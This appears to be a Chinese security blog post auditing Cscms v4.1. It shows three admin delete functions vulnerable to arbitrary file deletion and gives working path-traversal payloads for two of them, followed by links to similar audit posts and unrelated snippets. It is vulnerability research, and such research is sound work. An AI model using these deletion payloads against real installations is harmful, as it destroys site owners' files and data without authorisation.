【代码审计】Cscms_v4.1 任意文件删除漏洞实例
环境搭建:
CSCMS :http://www.chshcms.com/
网站源码版本:Cscms_v4.1正式版(发布日期:2017-06-05)
程序源码下载:https://github.com/chshcms/cscms
漏洞实例一:
漏洞文件位置:\cscms\plugins\sys\admin\Basedb.php 第160-177行:
public function del(){
$dir = $this->input->get_post('id',true);
if(empty($dir)){
getjson(L('plub_11'));
}
$dirs = array();
if(!is_array($dir)){
$dirs[] = $dir;
}else{
$dirs = $dir;
}
foreach($dirs as $dir) {
deldir(FCPATH.'attachment/backup/'.$dir);
}
$info['msg'] = L('plub_12');
$info['url'] = site_url('basedb/restore').'?v='.rand(1000,9999);
getjson($info,0);
}
漏洞利用:
1、 根目录下新建test目录作为测试:

2、 构造参数成功删除test目录
http://127.0.0.1/admin.php/basedb/del
POST:id=..\\..\\test

漏洞实例二:
漏洞文件位置:/plugins/sys/admin/Skin.php 第418--440行:
public function del(){
$ac = $this->input->get('ac',true);
$op = $this->input->get('op',true);
$dir = $this->input->get('dirs',true);
$file = $this->input->get('file');
if($ac!='mobile') $ac='pc';
if($op!='home' && $op!='user') $op='skins';
if(empty($dir)) getjson(L('plub_27'));
$skin_dir = VIEWPATH.$ac.FGF.$op.FGF.$dir.FGF.$file;
if (!is_dir($skin_dir)) { //文件
$res=unlink($skin_dir);
}else{ //目录
$res=deldir($skin_dir);
}
if($res){
$info['url'] = site_url('skin').'?ac='.$ac.'&op='.$op.'&v='.rand(1000,9999);
$info['msg'] = L('plub_46');
$info['turn'] = 1;
getjson($info,0);
}else{
getjson(L('plub_28'));
}
漏洞利用:
网站根目录下新建1.txt文件作为测试,构造URL成功删除文件
Payload:http://127.0.0.1/admin.php/skin/del?ac=pc&op=skins&dirs=default&file=..\\..\\..\\..\\1.txt

漏洞实例三:
漏洞文件位置:/plugins/sys/admin/Plugins.php 第285-299行:
public function del(){
$dir = $this->input->get_post('dir',true);
if($dir==''){
getjson(L('plub_del_0'),1);
}
deldir(FCPATH.'plugins'.FGF.$dir.FGF);
//删除配置目录
deldir(CSCMS.$dir.FGF);
//删除模板目录
deldir(FCPATH.'tpl/admin/'.$dir.FGF);
$info['func'] = __FUNCTION__;
$info['msg'] = L('plub_del_1');
getjson($info,0);
}
漏洞利用:

最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。

【代码审计】Cscms_v4.1 任意文件删除漏洞实例的更多相关文章
- 【代码审计】YzmCMS_PHP_v3.6 任意文件删除漏洞分析
0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...
- 【代码审计】XIAOCMS_后台database.php页面存在任意文件删除漏洞
0x00 环境准备 XIAOCMS官网: http://www.xiaocms.com/ 网站源码版本:XiaoCms (发布时间:2014-12-29) 程序源码下载:http://www.xi ...
- 【代码审计】XYHCMS V3.5任意文件删除漏洞分析
0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...
- 【代码审计】TuziCMS_v3.0_任意文件删除漏洞分析
0x00 环境准备 TuziCMS官网:http://www.tuzicms.com/ 网站源码版本:TuziCMS_v3.0_20161220 程序源码下载:http://www.tuzicms ...
- 【代码审计】XIAOCMS_存在任意文件删除漏洞分析
0x00 环境准备 XIAOCMS官网: http://www.xiaocms.com/ 网站源码版本:XiaoCms (发布时间:2014-12-29) 程序源码下载:http://www.xi ...
- 【代码审计】JTBC(CMS)_PHP_v3.0 任意文件删除漏洞分析
0x00 环境准备 JTBC(CMS)官网:http://www.jtbc.cn 网站源码版本:JTBC_CMS_PHP(3.0) 企业版 程序源码下载:http://download.jtbc. ...
- 【代码审计】QYKCMS_v4.3.2 任意文件删除漏洞分析
0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...
- 【代码审计】iZhanCMS_v2.1 后台任意文件删除漏洞分析
0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...
- 【代码审计】CLTPHP_v5.5.3后台任意文件删除漏洞分析
0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...
随机推荐
- 百度Ueditor设置图片自动压缩
使用百度Ueditor插入图片的时候,如果图片大于你的编辑框宽度,下面会出现滚动条,如下图: 我们如何设置它的最大宽度为100%呢? 找到ueditor\ueditor.config.js,修改它的i ...
- 自定义垂直拖动的seekbar进度条
系统自定义的seekbar为横向拖动的样式,需要纵向的时则需要自己定义,网上很多说了重写系统SeekBar中onDraw()的方法,但是我使用的时候不知道为什么拖动条和点偏离了,不在一条直线上,好气. ...
- python-s and s.strip()
s and s.strip()“ 这个表达式的值.Python语法是这么运行的: 如果s is None,那么s会被判断为False.而False不管和什么做and,结果都是False,所以不需要看a ...
- qualcomm batch 烧录脚本
在烧录android系统候用到了windows的批处理文件,拿出来分析一下,顺便记录一下高通平台烧录系统的命令. @echo off :: @ :不显示后面的命令,就是后面的"echo of ...
- Apache Commons CLI
简单的说,就是对命令的参数进行定义和解析的工具 -- 这里说的参数是我们常用的说法,而CLI里则是Option.Options,参数值(如果有)则是Option的arg(s). ## 为什么 那么,为 ...
- 第三百二十六节,web爬虫,scrapy模块,解决重复ur——自动递归url
第三百二十六节,web爬虫,scrapy模块,解决重复url——自动递归url 一般抓取过的url不重复抓取,那么就需要记录url,判断当前URL如果在记录里说明已经抓取过了,如果不存在说明没抓取过 ...
- Java如何使用catch来处理异常?
在Java编程中,如何使用catch块来处理异常? 此示例显示如何使用catch来处理异常. package com.yiibai; public class UseOfCatch { public ...
- e870. 获取默认外观的数据
This example demonstrates how to retrieve all the default values for the current look and feel. // G ...
- SQL Server CLR 使用 C# 自定义函数
一.简介 Microsoft SQL Server 2005之后,实现了对 Microsoft .NET Framework 的公共语言运行时(CLR)的集成.CLR 集成使得现在可以使用 .NET ...
- asp.net Core EF core ( Entity Framework 7 ) 数据库更新维护
CreateDatabaseIfNotExists等之前的API已经废弃,现在采用的是微软封装好,简化.高效的API,migrations 因为,旧API,要付出高昂的代价,以及局限性 打开VS20 ...